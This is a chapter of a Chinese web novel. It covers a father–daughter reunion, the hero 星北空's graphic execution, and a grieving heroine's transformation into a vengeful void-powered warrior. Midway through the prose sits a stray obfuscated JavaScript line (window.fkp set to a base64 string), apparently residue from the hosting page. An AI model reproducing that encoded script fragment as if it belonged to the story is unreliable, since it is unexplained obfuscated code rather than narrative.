“查尔拉,我的宝贝女儿。多年不见,你终于成为一个大姑娘了啊。上次再见面时,你还是个不懂事的‘大小姐’。时间过得真快啊,一晃又是几年过去了。也许你和莉莉,还恨着我吧。毕竟我是个不称职的父亲,一直没顾及这个家。” 他拿出一个怀表,打开看了看。怀表内有一张全家福,全家福上的一家人都是幸福地笑着,唯独他没有露出个笑脸来。他继续说道: “我对不起你们,可我也没有挽救的办法。为了摧毁那些疯子的计划,我必须倾尽我几乎全部的时间。查尔拉,薇莉莉,希望你们能体谅爸爸的苦衷。爸爸会尽量弥补你们的。” “爸爸......是你吗?爸爸。” 查尔拉在他背后轻声说道。他猛地转过头去,查尔拉看着他,一脸惊愕的样子。查尔拉身旁,殇抱着膀也在看着他。他一脸疑惑,问道: “殇!你怎么——?!” 殇解释道: “别以为你藏在黑暗中我就找不到你。青莲。想救你女儿的话,我们一起走吧。别搁幕后装神秘人!” 青莲很不解地说: “不!你起码别......我.......呃,单独来找我啊!你带上她,你这让我怎么办吗?” 查尔拉一听这话,立马就确定眼前这个男人是自己的父亲。她大声喊道: “真的是你!爸爸。” 查尔拉笑着扑进青莲怀里,紧紧地抱住了他。这多年之后的父女再相聚,竟能是如此奇妙,这是青莲未曾设想过的。青莲一时不知道该做些什么,只是呆呆地看着怀里的查尔拉。殇见了,嗤笑一声,说: “你就别傲娇了,跟我们一起走吧。毕竟你能跟来,也不是为了你的女儿吗?既然是为了家人,就没必要遮遮掩掩的。” 他叹了口气,委婉地答应了。 “好吧。那别在行动之后提我的名字,更别说我回来过!我的行踪不能让别人知道。不然会引发很多的麻烦的......” 殇点了点头,答应了他。父女团聚,有着太多的话想说。但时间紧迫,也只能彼此问候几句。对于青莲来说,他亏欠自己家人很多,他回来时总是带着惭愧,这次也不例外。对于查尔拉来说,她恨着她的父亲,但这不是她不爱她父亲的理由,她还是爱着她那个不称职的父亲的。 这对父女彼此问候、彼此畅谈,场面一度变得温馨起来。看着眼前的景象,殇也想起了自己的子女。毕竟他也曾为父亲,也是养育过子女的人。虽然他的子女与他并无血缘关系,但他仍是爱着他的子女们的。 这时,埃罗他们也赶了过来。见到这个戴斗笠的黑衣男人时,所有人的表情都很惊讶。但当听到查尔拉叫出爸爸二字的时候,一切疑问都烟消云散了。埃罗这时主动上前,笑着对青莲说: “岳父好!” 青莲一听,顿了一下,一脸疑惑地看着埃罗。查尔拉一听埃罗来了,赶忙向她父亲介绍起埃罗来。 “爸爸,这是我男朋友。他叫埃罗。” 埃罗附和道: “对!岳父大人。” 青莲打量了埃罗一番,然后问: “你是何许人也啊?” 埃罗有些不好意思地回答道: “算是小有名气的都市猎人。” “你有房吗?” “有,公寓。” “你有车吗?” “有,越野吉普。” “长相就别说了,这是次要的。” “嗯,对。” “你有存折吗?” “有,不多。” “几位数啊?” “三位出头......” “哦。你因为啥喜欢我家查尔拉的?” “因为......她长得好看,心肠好。” “几年了?” “三年了。” “三年......领证了没啊?” “没有。不敢呢......” “卧槽,你小子比我当初都行。” “不敢当,不敢当。” “你小子看着还行。好好对我家查尔拉,要是让我那天知道你欺负我女儿,我就把你包成饺子喂狼吃。” “放心吧,岳父大人。我一定会好好对待查尔拉的。” “但愿如此。我有生之年能不能看到孙子孙女,就靠你们两个了。” 听到她父亲这么说,查尔拉和埃罗都松了口气。然后青莲问起了薇莉莉的情况,队伍中的女性彼此传递了一波眼神,然后由查尔拉说出了答案。查尔拉将薇莉莉那时的遭遇全盘告诉了她父亲,她父亲听后很生气,怒斥橙色收尾人的行为。但愤恨之余多是惋惜,毕竟他也知道这件事背后真正的操盘者是谁。 又简单聊了几句之后,他和殇他们一起,向着光芒出现的地方进发。虽不知青莲为何要如此隐藏自己的行踪,但青莲那份心意还是让殇很敬佩的。起码作为一个父亲,他愿意舍下一切为了家人赴汤蹈火。 与此同时...... 握紧利剑,让星火燃烧得最旺,让银河爆发出最璀璨的光芒。星能汇聚,宇宙烈焰熊熊燃烧。九层星环整齐排列于剑锋之上,一对嵌有群星的星云之翼在他背后展开。蓄势待发,只待最后一把利刃折断。笼罩在战斗场地内的星云此刻闪烁出耀眼的光芒,顿时化作一团团猛火开始燃烧。霜华融化,周围的温度开始炎热起来。 金甲刺客三下五除二很快处理掉了全部的利刃,并躲开了多数的穿刺星云。就在此刻,金甲刺客的眼被眼前的他深深吸引到了。不可思议!他的身上出现了一只浑身上下皆是浩瀚星河的神雀的身影,那身影金甲刺客认得。传说中的冥古上神:寰宇溟衍雀,是仅存在于古代文献记载之中的圣灵,是民间传说之中的星河领主。 星北空: “鸿蒙汇聚,星宿归位。剑锋所指,破灭星辰!” 疾步前冲,算好距离一跃而起,如林鸟一般腾飞。握紧剑柄,心怀决意,一记华丽的跳劈打开,砍出力劈华山的气势。剑锋击地,如陨星一般落下,劈出个大坑出来。并且这一击释放出刀光剑影,看得人眼花缭乱,不由得被其深深震撼。星河在大坑中喷涌,周围十步以内的土地都泛起了点点星火。金甲刺客正面用臂刃招架,接下这一招后手臂上出现了星星点点的裂痕,并且被击退出去了十几米。 司马天铎: “可以呀,这招可以跟岚炎那臭小子比比了。” 他落地后迅速起身,快速调整状态,不给金甲刺客一点缓冲时机。疾步而走,翅膀煽动,加速到极限速度。九星环汇聚在一起,星辰之锋更加闪耀。星辰化作护甲,保护起他脆弱的身躯。这一击,是赌命的一击。金甲刺客见后抬起枪口,将弑神者切换到了激光炮模式。六颗棱晶飞到身旁,升起了强大的电磁护罩。法环四端点两两结合,双端点模式在此刻激活。一声蒸汽喷涌,金色雷电遍及全身各处。 司马天铎: “Yellow power·穿星爆破!” 短暂的蓄能之后一炮开出,一道笔直的金色激光伴随着奔涌着的雷霆射向来,以贯穿星辰之势!法环上两个端点复制攻击,释放出同样强大的激光来,三光汇聚于一起,威力无穷。顷刻间,可以击穿十米钢板。 星辰的利剑划过苍穹,掠过大地,留下一道闪烁着星光的星云状拖尾,美轮美奂。拖尾之中,群星闪烁,星河绚烂,好一幅壮丽的星空。他带着强大的决心与信念,化身为一颗闪耀的航星,向着宿命发起了不甘的冲击。这一击,是他全力的一击,是星辰般意志的体现! 以银河,撕裂一切。轰的一声,一颗航星与致命死光相撞在一起,引发了一场大爆炸。顿时间废墟之中升起一道耀眼的光芒,如夜空中的明星一般点亮黑暗的废墟。半球状的能量泡沫逐渐膨胀,强大的能量从中散发出来。半径十余米,轰然炸裂。炸裂时,发出的光如恒星的氦闪一般耀眼;它如泡泡般膨胀炸裂,将蕴藏的全部能量都释放了出来;强光过后、震耳欲聋的爆炸声过后,只留下一片片绚丽而又凄凉的星云。 慢慢地,薇莉莉睁开了双眼,从昏迷之中醒了过来。她感觉自己睡了有几十年,好像经历了一轮转世投胎。醒来后,她看了看自己的手,发现她的肌肤上有了红润,看样子死亡的气息已经远离了她。她有看了看周围,发现自己来到了一个陌生的地方。她正要呼喊,却发现自己喉咙没法高声呼喊,只能低声嘀咕。 薇莉莉: “星北空......你在哪里?星北空......你在哪里?” 突然,轰的一声,她面前的房门被砸开,星北空砸了进来。星北空在地上滚了两圈,然后快速起身。星北空扶着手中的剑喘着粗气,他的全身到处都是伤痕,原本黑色的衣服被血染得大片暗红。他已经是体力不支的状态,刚刚的那些战斗已经几乎耗尽了他的体力和核心能量。他已是强弩之末、风中残烛,但他还扔不想放弃战斗。 见到星北空浑身是伤,薇莉莉很是心疼。她急忙地想站起身来去帮星北空,但她此刻的身体还很虚弱,连站起来都很费劲,更何况去帮星北空。但即便如此,她也还是起了身。 薇莉莉: “星北空......我......我来帮你!” 听到薇莉莉的低语,星北空猛地转过身去看向她。见到薇莉莉醒来,星北空冲着她露出了一抹笑容。那笑容中有着怎样的感情?以至于他笑的时候,眼角泛起了泪花。 星北空: “姐,奇迹发生了啊。你重获新生了,要绽放出你的绚丽来了啊。” 薇莉莉: “星北空......别废话!就是那个金甲虫是吧,我现在就帮你处理掉他。有我在!今天没人能伤害你!” 紧接着,星北空感到了深深的担忧。星北空露出担忧的神情来,他转头看了看身后黑暗的废墟,又看了看眼前还很虚弱的薇莉莉。此刻,他做了个无私的决定。星北空用星云捏了一朵玫瑰出来,然后一把扔到了薇莉莉头上,正好挂在了最佳位置。 这一幕,薇莉莉似曾相识。虽然有些不同,但大致是一样的。回味起这个这些的时候,薇莉莉总是会不自觉地感动难过。 星北空: “姐,活下去,带着希望。你的明天会更好!” 说完,星北空高举利剑,一剑在两人之间砍出了一道巨大的裂隙。星北空又对地面连砍几剑,让这道裂隙扩大到了薇莉莉根本过不来的程度。 薇莉莉: “你这是干什么?!” 星北空伸出手,用仅剩能量的一半制造了星界锁链,将薇莉莉牢牢地固定在原地动弹不得。薇莉莉努力挣扎,但无济于事。做完这一切,星北空留下一抹微笑,然后转身慷慨赴死。 薇莉莉: “星北空,回来!你回来!!你这么做会死的!星北空......” 薇莉莉奋力呐喊,可声音终究是提不上去。如呢喃一般的呐喊,传不进星北空的耳中。奋力挣扎过后,她一个踉跄趴倒在了地上。她想起身,但背后沉重的锁链压得她没法起身。但她仍不放弃,奋力挣扎着。边挣扎,她边流泪,一切又仿佛回到了当初。 没过多久,星北空又回到了这里,不过这回是被人扔进来。星北空再次起身,想要反击。但突然飞来的能量束划过他的手臂,撕裂了他握着剑的右臂,让他再无机会反击。不仅如此,又飞来的几发能量束虽没打中他,但击打在地面、墙体上的爆炸却炸断他的双腿。他痛苦地惨叫着,哗的一下躺倒在了地面上。鲜血横流,血肉四溅,空气中弥漫着血肉烧焦的味道,还有着几分生命凋零的气息。 看到这一切薇莉莉,不禁失声地大喊、撕心裂肺地大喊。但声音,还始终如低语一般。薇莉莉的挣扎依旧无济于事,星辰组成的锁链仍牢牢束缚着她。薇莉莉此刻也顾不得自己那傲娇的心,任泪水纵横于脸颊上,压抑的真情实感也在此刻爆发出来。 薇莉莉: “不!!!别这样!别离开我!星北空......星北空——!” 星北空慢慢地转过头来,深情地看着薇莉莉的脸。此刻,星北空笑了,笑得格外坦然、格外帅气,仿佛接下来到来的死亡无所谓一样。两人深情对视,眼神就是他们交流的窗口。 一滴血慢慢流过,从淡蓝色的发根流到淡蓝色的发尖,又从发尖处滴落在满布疮痍的地面上。时间一分一秒地流逝,鲜血一滴一滴地落下。没过一会,星北空身上的衣服就全浸满了血色。星北空的眼神逐渐有些涣散,但其中的感情仍然坚定。身躯逐渐走向凋零,但灵魂是不朽的。 星北空: “姐!” 这时,黄色收尾人拿着枪走来。他走到了星北空身前,扫描了下星北空的状态。扫描过后,星北空已无任何威胁可言,并且本身就在慢慢走向死亡。看到结果的时候,黄色收尾人有些犹豫要不要动手处决星北空。他呆呆地站在星北空身旁,静静地思考。思考之时,他听到了薇莉莉的低语。不,应该说是呐喊。只不过这呐喊很无力罢了。 这时,有人插入了他的频道。 碧蓝苍穹: “别愣着了,现在......处死他。无论用什么办法,今天之内他必须消失在这个世界上!” 司马天铎: “知道了,客户先生。” 碧蓝苍穹断开了连接,又有人接了进来。 轇: “按照我们说好的,把他的研究成果给我带回来。” 司马天铎: “是,管理员大人。” 黄色收尾人对薇莉莉那一边放着的手提箱伸出了手,然后那手提箱悬浮起来,一下子飞到了他的手中。他打开手提箱瞄了一眼,看到结果后关上。看着自己的成果被敌人拿到手,星北空很是不甘心,但又无可奈何。星北空无力地恳求道: “别把它......拿走。这是拯救大家的希望,这个世界的人民还需要它啊!这是......我的梦想啊。” 司马天铎无奈地告诉星北空: “我也只是奉命行事。” 说完,他继续向管理员汇报成果。 司马天铎冷冷地说: “里面还有一支。” 轇笑了一声,说: “干得不错,黄色收尾人。很好,一支也足够了。” 司马天铎此刻沉默,他没有问出那个致命的问题。他想让星北空静静地死去,起码能多活一会。轇随后发话了,告诉他: “至于星北空这个家伙吗......你来处理。” 突然,碧蓝苍穹又接入了频道。碧蓝苍穹大声命令他: “你,把他的脑袋踩爆。必须确保他百分之百死亡,不能留任何生还的希望给他。” 轇沉默了,默默地断开了连接。听到这个要求的时候,司马天铎想开口为星北空求情,但话始终没敢说出口。沉默片刻之后,他一口答应了。 “明白。我会办的。” 黄色收尾人将弑神者挂在背后的武器挂上,默默地向右移了一步,离星北空的头更近了些。他此刻感觉到莫名的紧张,就好像他是第一次执行任务。短暂犹豫之后,他慢慢地抬起了脚,对准了星北空的头。 此刻,星北空看到了漫天星河。星星在对着他眨眼间,像一个个可爱的小精灵。星座盘踞在天空,构成了一幅壮丽的美景。群星发出璀璨的星光,照亮他卑微的心房,驱散他所厌恶的黑暗。过往的一切在他眼前浮现,一幕一幕如影片一般展现。那一张张灿烂的笑脸、那一个个放心不下的人、那一幕幕值得铭记的美丽......都是他悄悄收藏起的美好回忆。 同事...... 源能核心公司的员工: “欢迎主管大人!主管大人生日快乐!” 星北空: “诶呀!这真是难忘的惊喜啊!谢谢你们。” 卫士...... 胡狼和貔貅: “少爷好!欢迎少爷回家!” 星北空: “客气了。” 挚友...... 椿木一马: “星北空,我做到了!很快,我们就能让我们的梦想实现!那些受苦的人们很快就能享受到安逸的生活了。我们要战胜疫病了!” 星北空: “别急,椿木一马。路得一步一走,我们做的还只是打响了第一枪啊。但希望总是有的!” 亲人...... 星北海: “哥哥,我也想成为像你一样的人!” 星北空: “哦?要是有这个愿望的话,可得好好努力啊!” 星北海: “嗯。我会的,我会用我的实力向你证明的。” 星北空: “那,请加油喽。” 所想守护的人...... 茵萌萌: “欢迎加入斯特迪罗家族!星北空。自我介绍一下,我是茵萌萌,是你进入家族的第一个朋友哦。你可要好好对待我哦!别看我比你矮就欺负我,我可是会生气的。” 星北空: “好的。茵萌萌小姐。” 薇莉莉: “你这厮怎么长这样呢?蓝头发,我这辈子还是第一次见。看你瘦瘦的,战斗力应该不高吧。但应该被萌萌强。你,记住我的名字。我叫薇莉莉,是这个家族的话事人。同时,也是你以后的老大。你最好是听话,不然小心我揍你。听明白了吗?你这个蓝莓头。” 星北空: “明白,薇莉莉小姐。” 薇莉莉: “别一口一个小姐的叫着!显得我跟个涉世未深的愣头青似的。要叫,你也得叫我姐,或者叫我大姐。” 星北空: “明白,姐。” 他哭过、怒过、流过泪、摔过跤、恨过也爱过。他这一生很是平凡,但又在点点滴滴上显得不凡。不知不觉,他就匆匆看完了自己的一生。时光短暂,但总有人相伴。年仅二十九岁的他,是能大显身手的年纪。可他却选择了把机会与希望留给了别人,而自己却默默凋零。无私的奉献,默默的帮助,拼尽全力的拯救,不计回报的善意,只为情谊二字。 星北空: “姐。” 星北空的眼角流下两行热泪。他的心里此刻释然了许多,但还有一份担忧存在着。那份担忧,就是他眼前的薇莉莉。若说人间最不舍得的东西,那么他的答案就是薇莉莉。他比谁都了解薇莉莉的性格,因此他才舍不得薇莉莉,他怕薇莉莉因此会做傻事。 星北空流着泪,微笑着对薇莉莉说: “傻姑娘,别做傻事好吗?就当我的死,是上天注定吧。你如花般美丽,不能提前凋零!别为我而死,好好地活下去......好吗?” 星北空的眼神格外温柔,他的话语如酥心糖一般融化在薇莉莉心中。除了感动与不舍,薇莉莉什么也感受不到。薇莉莉奋力呼喊着他的名字,可他却听不到。泪慢慢流下,与血混合在一起,在地面上凝结成玫瑰花的形状。星北空也伸出了手。两人的指尖相隔七米,只是几步之遥,但此刻却就像无数座大山。明明只需要奔跑几步就能触及的距离,此刻却是永恒。 犹豫过后,黄色收尾人踩下了那一脚。在脚掌与脸接触的那一刻,薇莉莉注视着星北空的脸。她看到,星北空温柔的眼眸中,有着星辰大海。 “不!!!星北空!” 薇莉莉绝望地呐喊,这次的声音不再如低语一般。呐喊过后,一切又归为了寂静。 一滴晶莹剔透的泪珠落下,在空气中折射出五彩斑斓的色彩,刹那间落在地面,无声无息地消失了。骨肉破碎,筋骨断裂,星北空的头颅炸裂开来。这一脚落地的瞬间,红白混杂的液体飞溅得到处都是,空气中顿时弥漫起一股血腥的气味。 薇莉莉伸出去的手瞬间被染红,对面那悬着的手此刻也随着折磨血色的到来,慢慢垂落在冰冷的地面上。此刻,她感觉到了脸上一阵温热,她用颤抖着的手摸了一下。发现那是不是她的泪水,而是一大片红白混杂的血水。她一时不敢相信眼前的事实,还试图欺骗自己。但最后,她还是接受了这个悲惨的事实。 此刻,她的泪水止不住地往下流,她哭了,哭得撕心裂肺。空荡荡的废墟之中,只能听到她一个人的哭声。目睹星北空在自己眼前死去,她的心里是难以诉说的悲痛,这无疑是对她最大的打击。 通历43年8月10日上午,年仅29岁的星北空,被黄色收尾人的攻击命中头部,当场死亡。 这一脚之后,黄色收尾人沉默着后退几步,低头为星北空默哀片刻。此刻,频道中传来了碧蓝苍穹的赞扬。 “很好!你完美的完成了任务。干得不错,回来后我多给你些赏金。” 黄色收尾人沉默了,没做出任何回答。 碧蓝苍穹: “好了,最后一步。制造塌方,用碎石掩埋他的尸体。” 这要求黄色收尾人只得无奈答应。默哀之后,黄色收尾人拿出弑神者,对着天花板连开两枪,引发了小面积的塌方。一块方形石块从上方楼层落下,轰的一声砸在星北空的尸体上。咕隆几声,这块方形石块砸穿了地面,带着星北空的尸体落向了地下停车场,最后在地下停车场内堆成碎石堆,算是给星北空进行了“掩埋”。 做完这一切,他拿着那个手提箱,头也不回地离开了。这一次任务的结果,他非常失望。他的确是赢了,但赢得却很不是个滋味。 这时,薇莉莉头上戴着的那朵星云玫瑰化成尘埃消散了,她身上的星界锁链也同样消失了。薇莉莉沉浸在悲痛之中难以自拔,她撕心裂肺地哭着,一遍又一遍地呼唤着已逝之人的名字。这时候,她的耳边响起了战鼓的声音。她抬头一看,眼前是先前梦里的虚空之境。 血色的涡旋舞动着,周围的星河躁动起来,来自虚空的呼唤愈发明朗。许多双血色的眼睛凝视着她,无数颗血色飞星划过天边照耀着她,她的意志祈求到了虚空的降临。几道惊雷从涡旋中劈出,唤醒涡旋中沉睡的神灵。0之代码在此刻暴走,末日的号角此刻已然吹响。无数块石碑排列在一起,展现出了一个阶段的军旗标志。0之代码,毁灭的象征。 INF-wR-0: “感受来自虚空的召唤吧!” 薇莉莉一脸惊讶地说: “你......你是!” INF-wR-0: “我就知道你会来找我的,人类。” 薇莉莉的双眼变得血红,她的身下出现了猩红色的多层科技套环。奇异而又强大的能量开始渗入她的身体,她的心中感觉到有一抹血色烈火正在升起。薇莉莉很疑惑地说: “什......什么?” INF-wR-0: “失去挚爱之人的感觉一定很痛苦吧。” 许多血红色的字符0在她身旁若隐若现。她心中的仇恨与怒火涌上心头。她试着控制,但无济于事,反而被吞噬入其中。薇莉莉冷冷地回答道: “非常痛苦!” INF-wR-0: “想报仇吗?想宣泄你的愤怒吗?” 红黑相间的火环在她身旁环绕。她心中的执念与欲望拧成一股绳,牢牢地遏住了她的精神与意志,反抗之心越发弱小。又在奇异能量的引导下化成利刃,斩断了她最后一丝理性,让怒火与仇恨取代了人性的地位。薇莉莉一脸愤怒地说: “想!” INF-wR-0: “接受代码0真正的力量,以凌驾于一切的姿态出现吧!零之武士,无垠武士,带来末日的无上至尊。” 血色迷雾正在她身上泛起、扩张,血色0字符在血雾中若隐若现。至暗迷雾笼罩她的心灵,漆黑的锁链锁死她的人格。0之代码的力量趁虚而入,从内部瓦解了她坚强的内心。正义、理智、善良......都被削除殆尽,只留下纯粹的恶与恨。薇莉莉发出了癫狂的笑声,她大声说道: “以血色渲染这悲惨的世界,以象征屠戮的利刃杀灭我的一切敌人。力量,我需要力量......我需要,我需要!” INF-wR-0: “感受来自虚空的力量吧!人类。虚空长存,死神永生!为这个世界带来杀戮与灾难吧!让伤害过你的人感受到你的仇恨吧!” 血雾之中燃起了蓝紫色的烈火,她的全身正在火中燃烧。无数血色0字符融入了这熊熊烈火之中,来自虚空的力量正在火中肆虐。蓝紫色的烈火逐渐变成了黯淡,逐渐转化成黑红色的血妖之灼炎,又称血妖之火。 这时,一身黑色的外骨骼安装在她的身上,其造型兼顾了美观与实用,性能强大又十分帅气。一身焦黑色配红纹的武士战衣取代了她原来的衣服,她此刻看着犹如一位强悍的太空武士。薇莉莉笑着说: “好......很好。这力量正合我意。伤害我爱的人,不可饶恕!我要杀光他们,我要让世界知道我的强大。” INF-wR-0: “虚空与你同在。敬请见证,第一位人类无垠武士的诞生!” 血雾散去,一个黑衣剑士现身。她随手一挥,一把黑钢红刃大刀从黑暗中飞来。她一把接住,简单挥了几下,觉得甚是好用。她又随手一挥,一把燃着血色星云烈焰的金身星云宽刃刀从黑暗中飞来。她一把接住,简单挥了几下,觉得也甚是好用。她手提双刀,如女武神一样霸气十足,全身撒发着浓烈的杀气。她在黑暗中伫立着,感受力量在体内流动。 INF-wR-0: “去吧,我伟大的女武神。让那些弱小的有机人类看一看,何为无上神明!肆意屠杀,壮大我们无垠军团吧!” 她起手一刀,一道笔直的切线出现在黑暗之中,接着黑暗被一分为二,一个错位后瞬间爆炸,然后烟消云散。 薇莉莉的核心: “警告!核心能量控制系统出错!核心能量超出稳定控制范围!请周围非战斗人员立即撤离!核心自动冷静系统准备启动,源能核心公司三号应急预案已经启动。预计......预......警告!警告......警......警,警......核心系统陷入瘫痪!错误!错误!the core internal system has been paralyzed. Attempting to restart...... Result: invalid operation.” 外界的光芒再次照来,她重新回到了废墟之中。有着血色边缘的黑洞膨胀炸裂,她从中霸气登场。 杀戮者: “我,杀戮者·薇尔利亚,势必要用血刃屠杀那些孽种!没人能再伤害他们,没人能!我将庇护他们,直至我的死亡!” 杀戮者交叉双刃,浑身上下散发红色的雷电与能量。 杀戮者: “零之源起,代码协议,激活......” 焦黑色的盔甲上亮起了红光,一对全息血影翅膀在她背后张开。顿时间废墟内到处洒满血色,血色魔气四溢,令人毛骨悚然、不寒而栗。虚空涡旋在她背后生成,随后无数黑色碎片从涡旋中飞出。转瞬间在她面部拼成了一副闪烁着红光的漆黑色面具,遮住她上半边脸。此刻,一位女武神重现于世间,为世间点亮了血色的烛火。象征恶兆的毁灭之灵盘踞在她的身旁,她是注定要带来一方灾祸与杀戮的灾厄。 杀戮者放下双刃,冲刺撞碎房间的墙壁,一个飞跃重砸地面。她落在一处开阔的地方,正好拦住黄色收尾人的去路。 杀戮者: “往哪跑......你这个畜生!为了你罪孽付出生命吧!给我去死吧!死吧,死吧!死吧死吧!” 司马天铎: “我不想与你交战!你不是任务目标,没必要的。星北空已经为你付出很多的,你也应该......” 杀戮者: “住嘴!你有什么资格提他?!作为凶手,你要做的只有被审判,被屠杀!尔等蝼蚁,纳命来!” 一道红色闪光飞快袭来,刹那间贯穿黄色收尾人的身躯。当的一声,血影划过,金甲上破裂处一道长有两尺的裂痕。闪光消失,她炫酷收刀。刚刚发生的一切黄色收尾人压根就没察觉到,更别提反应过来了。等他意识到的时候,杀戮者已经砍出第二刀了。若不是他及时释放了能量脉冲,他兴许就被杀戮者的一套连招直接处决掉了。 司马天铎心里: “什......什么?好强!为什么之前看起来那么虚弱的姑娘,能在此刻变得如此强大?该死!难道这里的人都会变身吗?” 接下来,一场猝不及防的遭遇战开始了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十四话:杀戮者·薇尔利亚 几轮交战下来,黄色收尾人一直处于劣势。此刻,他正像个皮球一样,被杀戮者打到了天上,左一刀右一刀地让他飞来飞去,最后一个下劈才让他落了地。落地后,杀戮者的攻击一轮游一路地打来,打得他难以招架。 血舞鬼刃,刀光如雷,犹如绽放的花蕾;弥漫的赤色迷雾中红影舞动,赤色雷电如流星般穿梭,犹如在杀戮中高歌的武者。血色染红了废墟的天,如末日浩劫即将降临般的压迫感扑面而来。虚空的利刃划破天空,撕裂出一片寂黑的狱。虚空从狱中迸发出来,当中那渴求杀戮与鲜血的眼睛紧盯着大地。虚空的力量肆虐在废墟之中,卷动阴冷的痛苦之风,带来伴随着争斗与痛苦的灾劫咒怨。沉睡在大地之中的虚空能量苏醒过来,带来到处弥漫的赤色末日之息与那一根根拔地而起直冲云霄的漆黑虚空之柱。 又是几轮交战,黄色收尾人激活了G协议,但仍逃不过被杀戮者暴打的命运。擅长远距离交战的黄色收尾人,面对手提双刀的杀戮者,在近距离交战中显得格外无力。他尝试拉远距离,但杀戮者总能及时靠近他,根本不给他任何有力还击的机会。 一向坚毅与温暖的太阳,也在这抹血色中变得血红。那原本能抚愈心灵创伤、并为之带来温暖的阳光,也在此刻变得阴凉起来。红日当空,永劫恶兆。天空中的狱开始吸收地面上的虚空能量,并降下一道道红色的雷电。原本洁白无瑕的云朵变得血红,并在狱的牵引下汇聚在狱的身旁,高速绕着狱旋转。渐渐地,血色涡旋形成在了空中。 最后一击,杀戮者一刀将黄色收尾人击飞出去,并追上去连砍五刀,彻底斩杀了他反击的希望。黄色收尾人狼狈落地,然后颤颤巍巍地站了起来。他全身的金甲裂痕遍布,刀疤一道比一道深,最深处都快伤及要害了。他之前那金色死神的霸气此刻荡然无存,有的只有一个落败之辈的颓唐。法环崩裂破碎,弑神者残缺不堪,仅有的几丝能量无法支撑战斗,最后的挣扎只能是无用的逃跑。 杀戮者: “你要为了你的罪孽付出代价!你要偿命!偿命!死吧!死吧!死吧死吧!给我去死吧!” 说完,杀戮者提着刀一个飞跃,挥刀劈砍向黄色收尾人。这时,有一人突然出现在黄色收尾人身前,用一面坚硬的盾牌替他抵挡了这一击。幻云汇聚,冲击释放。杀戮者被击飞出去,黄色收尾人捡回一条命。杀戮者落地之后,才看清为黄色收尾人挡下这一刀的,是她曾经的对手殇。 殇: “好险,差点就让她得手了。” 司马天铎: “为......为什么要救我?” 殇: “救你?我是在救她!也算是救了你。” 见到殇的瞬间,杀戮者气不打一处来。之前落败的那种失败感她记忆深刻,那种感觉在她心里此刻被放大了十几倍;再加上殇救了她的敌人,摆明了与她为敌,这些足以让她挥刀杀死殇。但在动手前,她用仅有的一丝理智去问殇: “你要阻拦我吗?” 殇举起盾牌,又放下盾牌,他不明所以的举动引得杀戮者好奇。一旁的黄色收尾人见了,明白了什么。殇告诉杀戮者: “薇莉莉!你不能杀了他。你这么做会让你陷入危险的境地,你会被杀手联盟通缉的。你不仅会过上颠沛流离的生活,你身旁的家人朋友也会遭殃的。他可是杀手联盟的重要人员!” 杀戮者冷笑一声,说: “那又怎样?谁要是敢伤害我的家人朋友,我连他们祖坟都一起掀了!杀手联盟又如何?!就是管理员来了又如何?!凡是敢阻止我的人,我,杀戮者·薇尔利亚照杀无误!” 这番话语很是霸气,她越来越像一位女武神了。殇一听,无奈地摇了摇头。他苦口婆心地劝杀戮者: “别冲动!薇莉莉。想想吧,你还很年轻呢!这个世界很美好的,你难道就不想好好地活到老吗?享受人生难道不好吗?更何况,星北空那小子,也不希望你能好好地活下去吗?” 听到星北空这三个字,杀戮者顿时就怒了。她用大刀指着殇,冲着殇大声喊道: “闭嘴!你这等鼠辈。你有何理由去跟我提他?他做的那些有几样你看到了?!他是属于我的!只有我才有资格评判他的行为!” 这时,黄色收尾人伸出手来,用磁力将落在近处的手提箱吸了过来。他拿好这个手提箱,唤出了脚底的空间环。强大的力场护盾升起,空间传送准备就绪。杀戮者敏锐地察觉到了这一点,她立即上前阻止。 杀戮者: “想跑!没门。” 殇举盾,一个盾冲与她撞在一起,及时阻止了她。传送开始,黄色收尾人对殇点了点头,感谢道: “谢谢你,陌生人。即便你想救的人不是我,那我也非常感谢你。有缘再会......” 一道耀眼的光芒之后,黄色收尾人传送走了。见到此景的杀戮者,怒火瞬间占据了她的内心,她气得咬牙切齿、全身发颤。殇本想着跟她讲讲道理,但没想到她直接亮出刀来,恶狠狠地告诉殇: “啊啊啊啊啊!你敢放走他.......你,完,了!即使我报不了仇,那我也要拉着这里的人一起下地狱!都去死吧,你们这群肮脏的有机物。” 血色星云泛起在杀戮者全身,其中还掺杂着大量虚空黑火与星云烈火。她的全身杀气四溢,虽然隔着面具,但殇依旧能感觉到她眼中那浓浓的杀意。她的赤发在风中飘舞,点点尘埃从她的发尖处飘过。赤色闪电在她身上涌动着,在血色星云之间穿梭着。此刻,她握着刀的双手,更加用力许多。 见杀戮者如此,殇也不由得做好了战斗准备。核心能量汇聚在殇的全身,一把三叉戟出现在他的手中。雷电泛起在三叉戟上,幻云缭绕在盾牌之上。一手盾牌,一手三叉戟,殇如战士一样伫立。 殇心里: “这一战,跟当年的墨子邵有一拼。不......她比墨子邵还要强一些。看样子,这一战很难打了。” 突然间,杀戮者消失了。殇敏锐的眼光察觉到这一点,立即举盾招架。当的一声,燃着血妖之火的大刀劈在了盾牌之上。殇推盾,正准备释放招架技,这时杀戮者飞速连挥双刀,对着殇的盾牌连续砍了七八刀。只是刹那,殇就被击退出去四五米。 与此同时...... 寻着杀戮者留下的痕迹,茵萌萌和伊找到了出事的地方。青莲和查尔拉她们紧随其后。来到这里后,茵萌萌和伊最先注意到的是那把插在地面上的斩星剑。她们走到这把剑旁边,仔细地看了看。剑柄上有着几滴血迹,剑刃上还有烈焰灼烧过的痕迹。 “天呐!” 查尔拉惊呼道。茵萌萌和伊听声回头看去,查尔拉捂着嘴,一脸难以置信地看着地面。顺着她的视线看去,她们看到地面上有一摊红白混杂的血迹。她们两个凑上前一看,那血迹还未干涸,但其中已经散发出了令人反胃的气味。查尔拉指着地上的血迹,问道: “这......这是什么?” 一旁调查其他细节的青莲一听,很好奇地走了过来。当他看到这血迹的那一刻,他的心已经凉了半截。他叹了口气,说: “他......可能已经走了。这血迹只有一种制造方法,那就是用枪打爆人的头颅......” “不!不可能的!不不不,绝对不可能。北子哥他那么聪明,是不会这样的。这......这这这,这一定是其他人的,一定是!” 